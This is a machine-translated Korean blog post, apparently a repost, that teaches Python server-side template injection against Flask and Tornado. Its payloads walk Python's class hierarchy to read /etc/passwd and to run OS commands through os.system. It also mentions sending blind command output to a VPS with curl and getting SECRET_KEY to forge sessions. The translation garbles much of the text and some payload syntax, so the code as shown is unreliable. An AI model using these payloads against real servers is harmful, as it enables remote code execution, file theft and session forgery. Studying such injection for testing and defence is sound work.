파이썬 SSTI 사용

원리
는 위조 할 수있는 세션 플라스크의 프레임으로 얻을 수 있다면 파이썬 SSTI의, 특히 SECRET_KEY, 변수 및 함수에 대한 몇 가지 정보를 얻을 수 있습니다 또한 XSS 코드의 페이지 번호를 삽입 할 수 있지만 아닙니다.
토네이도 프레임 (요청, '계정 / 렌더링ERROR_MSG 사용자 제어, 다음 주사가합니다.
ERROR_MSG 인 경우 <script> 경고 (1) <경우 XSS 더 필터링이 실행되지 않는다
경우 ERROR_MSG {{데이터}} 다음으로, 데이터는 예를 들어, 간단한 표현 및 수집 변수들을 수행 할 수있다 :
사용자 입력 ERROR_MSG을 {{1 + 1}리턴 페이지 2
프레임 플라스크 대 이 같은 들어오는 사용자 이름 클래스 이름 속성이 반환 될 때, 필요에 따라 일부 속성 같은 페이지를 표시하기 위해 필요한 경우가, 클래스 id 속성에 ID를 리턴를 통과, 다음과 같은 전역 변수를 얻기 위해 마법의 방법을 사용할 수 있습니다 :
정의 된 클래스 단어 내에서 반환을 위해 :
함수와 속성의 클래스를 반환 // __dict__는 영향을주지 않는 각각의 서브 클래스 부모
__base__ //은 python3하는 클래스의 부모 클래스를 반환
찾기 위해 (__mro__ // 반환 튜플 클래스는 상속 부모를 클래스) python3
__init__ // 클래스의 초기화 메소드가 리턴   
() 클래스를 반환 // 계속 사용할 참조 python3이다 __ __subclasses
__globals__ // 사전 python3를 참조하는 전역 변수에 대한 기능이 포함되어
반환을위한을 단어의 예 :
__class__ // 반환 객체 인스턴스, 클래스 인스턴스 마법의 위의 방법 사용하는 클래스를 가리킬 수

토네이도를 사용하여 유사한 주입 렌더링
을 수행합니다. 모든 파일의 읽기
①을 {{ ''}} // .__ class__의 <클래스 'STR'>
② {{ ''.__ 클래스 __.__ mro__}} // (<클래스 'STR'>, <클래스 '객체'>)
③ {{ '.__ 클래스 __.__ MRO의 __ [1] .__ 서브 __ ()}} // 다음에 서브 객체 클래스 얻을 :
[<클래스 '타입'> <클래스 'weakref'> <클래스 'weakcallableproxy'> <클래스 'weakproxy'> <클래스 '내부'> <클래스의이 ByteArray '> <클래스'바이트 '> <클래스 '에서'> <클래스 'NoneType'> <클래스 'NotImplementedType'> <클래스 "역 추적"> <클래스의 슈퍼 '> <클래스'범위 '> <클래스의 딕셔너리'> < 클래스 'dict_keys'> <클래스 'dict_values'> <클래스 'dict_items'> <클래스 'odict_iterator'> <클래스 '설정'> <클래스 'STR'> <클래스 '슬라이스'> <클래스 'StaticMethod를'> <클래스 '복잡한'> <클래스의 플로트 '> <클래스'frozenset '> <클래스 '속성'> <클래스 'managedbuffer'> <클래스 'memoryview'> <클래스의 튜플 '> <클래스'열거 '> <클래스>'반전 '<클래스'stderrprinter '> <클래스 "코드"> <클래스 '프레임'> <클래스 'builtin_function_or_method'> <클래스의 메소드 '> <클래스의 함수'> <클래스 'mappingproxy'> <클래스 '발생기>, <클래스' getset_descriptor '> <클래스'wrapper_descriptor '> <클래스의 메소드 래퍼'> <클래스의 생략 부호 '> <클래스'member_descriptor '> <클래스'types.SimpleNamespace '> <클래스'PyCapsule "> <클래스 'longrange_iterator'> <클래스 '셀'> <클래스 'instancemethod'> <클래스 'classmethod_descriptor'> <클래스 'method_descriptor'> <클래스 'callable_iterator'> <클래스의 반복자>, <클래스의 코 루틴 '> <클래스'coroutine_wrapper '> <클래스 'EncodingMap'> <클래스 'fieldnameiterator'> <클래스 'formatteriterator'> <클래스 "필터"> <클래스 '지도'> <클래스 '지퍼'> <클래스 'moduledef'> <클래스 ' 모듈 '> <클래스'BaseException '> <클래스'_frozen_importlib._ModuleLock '> <클래스'_frozen_importlib._DummyModuleLock '> <클래스'_frozen_importlib._ModuleLockManager '> <클래스'_frozen_importlib._installed_safely '> <클래스'_frozen_importlib.ModuleSpec '> <클래스'_frozen_importlib.BuiltinImporter '> <클래스'classmethod '> <클래스'_frozen_importlib.FrozenImporter '> <클래스'_frozen_importlib._ImportLockContext '> <클래스'_thread._localdummy '> < 클래스 '_thread._local'> <클래스 '_thread.lock'> <클래스 '_thread.RLock'> <클래스 '_frozen_importlib_external.WindowsRegistryFinder'> <클래스 '_frozen_importlib_external._LoaderBasics'> <클래스 '_frozen_importlib_external.FileLoader '> <클래스'_frozen_importlib_external._NamespacePath '> <클래스'_frozen_importlib_external._NamespaceLoader '> <클래스'_frozen_importlib_external.PathFinder '> <클래스'_frozen_importlib_external.FileFinder '> <클래스'_io._IOBase '> <클래스'_io._BytesIOBuffer '> <클래스'_io.IncrementalNewlineDecoder '> <클래스'posix.ScandirIterator '> <클래스'posix.DirEntry '> <클래스 'zipimport.zipimporter'> <클래스 'codecs.Codec'> <클래스 'codecs.IncrementalEncoder'> <클래스 'codecs.IncrementalDecoder'> <클래스 'codecs.StreamReaderWriter'> <클래스의 코덱 .StreamRecoder '> <클래스'_weakrefset._IterationGuard '> <클래스'_weakrefset.WeakSet '> <클래스'abc.ABC '> <클래스'collections.abc.Hashable '> <클래스'collections.abc. Awaitable '>, <클래스'collections.abc.AsyncIterable '>, <클래스'async_generator '> <클래스'collections.abc.Iterable '> <클래스'bytes_iterator '> <클래스'bytearray_iterator '> <클래스'dict_keyiterator '> <클래스'dict_valueiterator '> <클래스'dict_itemiterator "> <클래스 'list_iterator'> <클래스 'list_reverseiterator'> <클래스 'range_iterator'> <클래스 'set_iterator'> <클래스 'str_iterator'> <클래스 'tuple_iterator'> <클래스 'collections.abc.Sized '> <클래스'collections.abc.Container '> <클래스'collections.abc.Callable '> <클래스'os._wrap_close '> <클래스'_sitebuiltins.Quitter '> <클래스'_sitebuiltins._Printer ' >, <클래스 '_sitebuiltins._Helper'><클래스 '__main __. 부모>]
④ {{ ''.__ 클래스 __.__ MRO __ [2] .__ 서브 클래스는 __ () [40] ( '/ etc / passwd에'). 읽기 ()}} // 얻가 <유형 '파일을'> 파일 읽기
II를. 명령
① {{ ''.__ 클래스 __.__ MRO __ [1] .__ 서브 클래스 __ ()}} // 서브 클래스 개체 클래스에 도착하기 이전과
② {{ ''.__ 클래스 __.__ MRO __ [2] .__ 서브 클래스 __ () [119 ] .__ init__}}에서 <클래스 '_sitebuiltins._Printer'> // 얻을 __ init__ 주소
③ {{ '.__ 클래스 __.__ MRO __ [2] .__ 서브 __ () [119] .__ INIT __.__ 전역 __}} // 하세요 < 모든 전역 변수 클래스 '_sitebuiltins._Printer'> 클래스
④ {{ '.__ 클래스 __.__ MRO __ [2] .__ 서브 __ () [119] .__ INIT __.__ 전역 __ ['OS ']. 시스템 ('의 LS ')}} OS 수준의 코드 실행 주를 찾을 // : 경우에 따라 시험 자체가 존재하지 않는, 명령의 실행 결과를 직접 볼 수없는, 당신은 VPS에 결과를 보낼 컬 사용할 수
위의 예제의 실용적인 응용 프로그램 :
일반적으로, 템플릿 주입에 장소는 서버 기반 구성에 있습니다, 그것은 사용할 수 있습니다
1 개 .__ 클래스를 __.__ 초기화 __.__ globals__ // 현재 클래스의 전역 변수를 얻을
이 .__ class__합니다.
3 개 .__ 클래스 __.__ 초기화 __.__ 전역 __ [응용 프로그램] .__ dict__ // 내부에 대한 상세한 정보를 보려면,
당신이 얻을 수있는 경우 SECRET_KEY 세션을 위조

추천

출처www.cnblogs.com/cimuhuashuimu/p/11544438.html